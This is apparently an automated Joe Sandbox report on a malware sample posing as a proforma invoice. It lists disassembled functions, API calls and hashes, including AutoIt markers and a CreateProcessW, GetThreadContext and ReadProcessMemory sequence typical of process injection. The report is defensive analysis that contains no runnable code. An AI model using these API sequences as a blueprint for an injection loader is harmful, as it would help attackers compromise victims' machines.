CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,00000000,?,?,00492CD4,?,?,?,00000004,00000001), ref: 00492FF2
SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00492CD4,?,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00493006
CloseHandle.KERNEL32(00000000,?,00492CD4,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 0049300D

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: 276b94ef2dae6e19dfbd3665d504854aeee6dedc806e07ce89735a838572de34
Instruction ID: b4126ff12fce9b73801cd5f301cfa38496b1ed80bff036717a1ea1d128f60098
Opcode Fuzzy Hash: 276b94ef2dae6e19dfbd3665d504854aeee6dedc806e07ce89735a838572de34
Instruction Fuzzy Hash: 87E0863228021077D6301B59BC8DF8B3E5CD786B71F104330FB59761D046A0190156AC

Function 00431310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 004317F6

Strings

CALL, xrefs: 004317C6

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 69aa8d22b9c73f2210d7b3d8f5fe6375c939effbd19f4b8d9574ed400da506f3
Instruction ID: e2a1ae3ba6e4b039a672f5bd4368e6f36c3332667c9759c11f33068c143efe40
Opcode Fuzzy Hash: 69aa8d22b9c73f2210d7b3d8f5fe6375c939effbd19f4b8d9574ed400da506f3
Instruction Fuzzy Hash: D922AF706083019FC714DF15C481B6ABBF2BF89318F15992EF49A8B3A1D739E845CB5A

Function 00496EF1 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 297COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00496F6B

Part of subcall function 00424ECB: LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,004F1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00424EFD

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00496F5A, 00496F63

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: LibraryLoad_wcslen
String ID: >>>AUTOIT SCRIPT<<<
API String ID: 3312870042-2806939583
Opcode ID: 8d234baeedd63d9f8f4768a13749a582895c8df8404a1f23ee656df6fe0b0963
Instruction ID: 96eeb4775f5a9b16112347887c1ae4dd13b1feab3d64c2199175473986593feb
Opcode Fuzzy Hash: 8d234baeedd63d9f8f4768a13749a582895c8df8404a1f23ee656df6fe0b0963
Instruction Fuzzy Hash: F0B1D8302182118FCB14EF21D49196FB7E5FF94348F45486EF885972A2DB38ED49CB9A

Function 00423837 Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000000,?), ref: 00423908

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: f58a1ca9683baee67ac03cb6117c49f1c93f9ce59f92447730fb2c661b04fe57
Instruction ID: 12474fccbb12d41935d5a2894e1b7164208d6afc0d82a9e6af953114804a4e59
Opcode Fuzzy Hash: f58a1ca9683baee67ac03cb6117c49f1c93f9ce59f92447730fb2c661b04fe57
Instruction Fuzzy Hash: 53317CB0604311DFE320EF65D8847A7BBF4FB49309F00092EF99987250E779AA44CB5A

Function 0176129D Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 01761A5B
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 01761AF1
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 01761B13

Memory Dump Source

Source File: 00000000.00000002.2028177160.0000000001760000.00000040.00001000.00020000.00000000.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: c7490eb0849e98549b11c4fe0459da6d53c4872c769bbd933b9fbf1e0076ab14
Instruction ID: c0feac9b39250f6a8c4910dda424237441e1158f290122f7b4bad8fc0b23ba7e
Opcode Fuzzy Hash: c7490eb0849e98549b11c4fe0459da6d53c4872c769bbd933b9fbf1e0076ab14
Instruction Fuzzy Hash: FB12BD24E24658C6EB24DF64D8547DEB232EF68300F1090E9D10DEB7A5E77A4F81CB5A

Function 00424ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00424E90: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00424EDD,?,004F1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00424E9C
Part of subcall function 00424E90: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00424EAE
Part of subcall function 00424E90: FreeLibrary.KERNEL32(00000000,?,?,00424EDD,?,004F1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00424EC0

LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,004F1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00424EFD

Part of subcall function 00424E59: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00463CDE,?,004F1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00424E62
Part of subcall function 00424E59: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00424E74
Part of subcall function 00424E59: FreeLibrary.KERNEL32(00000000,?,?,00463CDE,?,004F1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00424E87

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: d62f2bc42cfd291cc9d55b600e80596a7d0b02ba1590e8fe7fda332efa07b743
Instruction ID: 9b84a24c30662f365cd33dd408504e8374b29855c4763820bf03fe5adaa76aeb
Opcode Fuzzy Hash: d62f2bc42cfd291cc9d55b600e80596a7d0b02ba1590e8fe7fda332efa07b743
Instruction Fuzzy Hash: 63110432700215AADF14AF62ED42BAD77A4EFC0714F50842FF542A61C1EEB89A059B58

Function 00458402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00458440

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: b8152c13dafe768dfdfe2112a606d5deaa3351dbfd9bdf96c0b2d355dd12f0ba
Instruction ID: 21bb920389d4d7816023636b242619c146b068f19e1e57c8d6737be66a2bbe0e
Opcode Fuzzy Hash: b8152c13dafe768dfdfe2112a606d5deaa3351dbfd9bdf96c0b2d355dd12f0ba
Instruction Fuzzy Hash: C4114C7190410AAFCB05DF58E94099F7BF5EF49304F10405AFC05AB312EA30DA15CB69

Function 00455000 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00454C7D: RtlAllocateHeap.NTDLL(00000008,00421129,00000000,?,00452E29,00000001,00000364,?,?,?,0044F2DE,00453863,004F1444,?,0043FDF5,?), ref: 00454CBE

_free.LIBCMT ref: 0045506C

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
Instruction ID: 6d2c55e1ffb62733b54f92ed32c4f2c704b4717da04df55fdc2cdae8f93e17fc
Opcode Fuzzy Hash: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
Instruction Fuzzy Hash: E5014E722047045BE3318F55D84196AFBECFB85371F25051EE984972C1E6746809C778

Function 0044E602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction ID: 7eb54891a244a59a8672307ee61ef1f771f3c2493f74bdb63c1534db633cd24b
Opcode Fuzzy Hash: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction Fuzzy Hash: 34F0F932511A1096E7313A779C05B5B339CAF62339F11071FF825922D3CF7C940A86AD

Function 00454C7D Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00421129,00000000,?,00452E29,00000001,00000364,?,?,?,0044F2DE,00453863,004F1444,?,0043FDF5,?), ref: 00454CBE

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8c5906f51cc550a8c11d61f9b47de0eb495d972c08f793fe342a32877664c583
Instruction ID: 01e0f266f616c7df48b0d1c727207fce5b59ac9e85afa5056dd84d361c465c73
Opcode Fuzzy Hash: 8c5906f51cc550a8c11d61f9b47de0eb495d972c08f793fe342a32877664c583
Instruction Fuzzy Hash: 9DF0BB3150212467EB225F629C05B573748BFC176AB164127BC15AF3D2CA79D84945DC

Function 00453820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,004F1444,?,0043FDF5,?,?,0042A976,00000010,004F1440,004213FC,?,004213C6,?,00421129), ref: 00453852

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 81d6b9c060bde2a8d454c8513281df2084658f3fc800105b6d105cb20a62e4d8
Instruction ID: e5e5c1f21f83ce294fd8c9bc2a19598f1639f898f00c20c063c4cf0ad39d019e
Opcode Fuzzy Hash: 81d6b9c060bde2a8d454c8513281df2084658f3fc800105b6d105cb20a62e4d8
Instruction Fuzzy Hash: 61E0E531100224A7E6353E679C00B9B36C8AB827F7F150137BC14A36D2CB59DD0981ED

Function 00424F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,004F1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00424F6D

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: b5aae003a206b20c597a9affc42866e7033abffaa730d2f5966cff1ee67114d9
Instruction ID: c2f6750c269222ee95d519c130afbaa4bfa710208d7cf3335f07bf4f2fd00b79
Opcode Fuzzy Hash: b5aae003a206b20c597a9affc42866e7033abffaa730d2f5966cff1ee67114d9
Instruction Fuzzy Hash: 6AF0A071205321CFDB348F24E590812B7E0FF94319352897FE1EA82610C7359844DF18

Function 00422DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00422DC4

Part of subcall function 00426B57: _wcslen.LIBCMT ref: 00426B6A

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: 90fd98eac836b4cef3b0cb1e6674375b1cfba816f498c1e4ea8e85211fc8cee8
Instruction ID: b60865c0752d0ff8e1092dc66ddb791e1d3d38b621f34e9633c930d60e492ba3
Opcode Fuzzy Hash: 90fd98eac836b4cef3b0cb1e6674375b1cfba816f498c1e4ea8e85211fc8cee8
Instruction Fuzzy Hash: 2BE0CD72A001345BC72092599C05FDA77DDDFC87D4F0501B6FD09D7258D964AD808555

Function 00422B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00423837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00423908

Part of subcall function 0042D730: GetInputState.USER32 ref: 0042D807

SetCurrentDirectoryW.KERNEL32(?), ref: 00422B6B

Part of subcall function 004230F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 0042314E

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectoryInputState
String ID:
API String ID: 3667716007-0
Opcode ID: 09a2a50a8bc44310aede295e8e9aa009de08fc48c7cdcc25f4d7420ffea64c29
Instruction ID: a5a3a48cb93eb36db720c684fb3c559634152c7efc6a3f36f428460eae8fb2ca
Opcode Fuzzy Hash: 09a2a50a8bc44310aede295e8e9aa009de08fc48c7cdcc25f4d7420ffea64c29
Instruction Fuzzy Hash: CCE0262130022803C604BF36B85247DB7A99BD135AFC0153FF14243163CF6C4945826D

Function 0046039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00460704,?,?,00000000,?,00460704,00000000,0000000C), ref: 004603B7

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f6f463271e7b7536f5e1c16fb945dc0a568956b7146cb3ec1f3dfe689ac15ff9
Instruction ID: 14a9d2d803c850fdd5ea7a6ccfe99b6d822b5a7779fc8e027446d0b44b2f53a0
Opcode Fuzzy Hash: f6f463271e7b7536f5e1c16fb945dc0a568956b7146cb3ec1f3dfe689ac15ff9
Instruction Fuzzy Hash: BFD06C3204010DBBDF028F84DD46EDA3BAAFB48714F014110BE1866020C732E821AB94

Function 00421CAD Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00002001,00000000,00000002), ref: 00421CBC

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: 247002d9abeb558270ab09098577cf8524147bef5c1936e42c025f894631b273
Instruction ID: e36c16404f214b695054047973694315762920508fac619b69e177cb6a86da25
Opcode Fuzzy Hash: 247002d9abeb558270ab09098577cf8524147bef5c1936e42c025f894631b273
Instruction Fuzzy Hash: DAC09B36280315FFF2144780BD8AF207754A348B00F044011F609555F3C3E11430D658

Function 0043FC70 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 0043FD1F

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 2a04c6bf268382e854056b0929ffe650b060a098162a13e6db4ae2ba2fee505f
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 38310274A001099BD718CF59D48496AFBB1FF49300F24A2A6E80ACB756D739EDC5CBC5

Function 017622A0 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 017622B1

Memory Dump Source

Source File: 00000000.00000002.2028177160.0000000001760000.00000040.00001000.00020000.00000000.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: 7cf123bd688b682f8fd8e172dfdb7708e6f5b648aeb8b24534e2f67cc94512f8
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: 5AE0E67494410EDFDB40EFB4D54969E7FB4EF04701F100161FD01D2281D6309D508A72

Non-executed Functions

Function 004B9576 Relevance: 74.1, APIs: 39, Strings: 3, Instructions: 625windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00439BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00439BB2

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 004B961A
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 004B965B
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 004B969F
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 004B96C9
SendMessageW.USER32 ref: 004B96F2
GetKeyState.USER32(00000011), ref: 004B978B
GetKeyState.USER32(00000009), ref: 004B9798
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 004B97AE
GetKeyState.USER32(00000010), ref: 004B97B8
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 004B97E9
SendMessageW.USER32 ref: 004B9810
SendMessageW.USER32(?,00001030,?,004B7E95), ref: 004B9918
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 004B992E
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 004B9941
SetCapture.USER32(?), ref: 004B994A
ClientToScreen.USER32(?,?), ref: 004B99AF
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 004B99BC
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 004B99D6
ReleaseCapture.USER32 ref: 004B99E1
GetCursorPos.USER32(?), ref: 004B9A19
ScreenToClient.USER32(?,?), ref: 004B9A26
SendMessageW.USER32(?,00001012,00000000,?), ref: 004B9A80
SendMessageW.USER32 ref: 004B9AAE
SendMessageW.USER32(?,00001111,00000000,?), ref: 004B9AEB
SendMessageW.USER32 ref: 004B9B1A
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 004B9B3B
SendMessageW.USER32(?,0000110B,00000009,?), ref: 004B9B4A
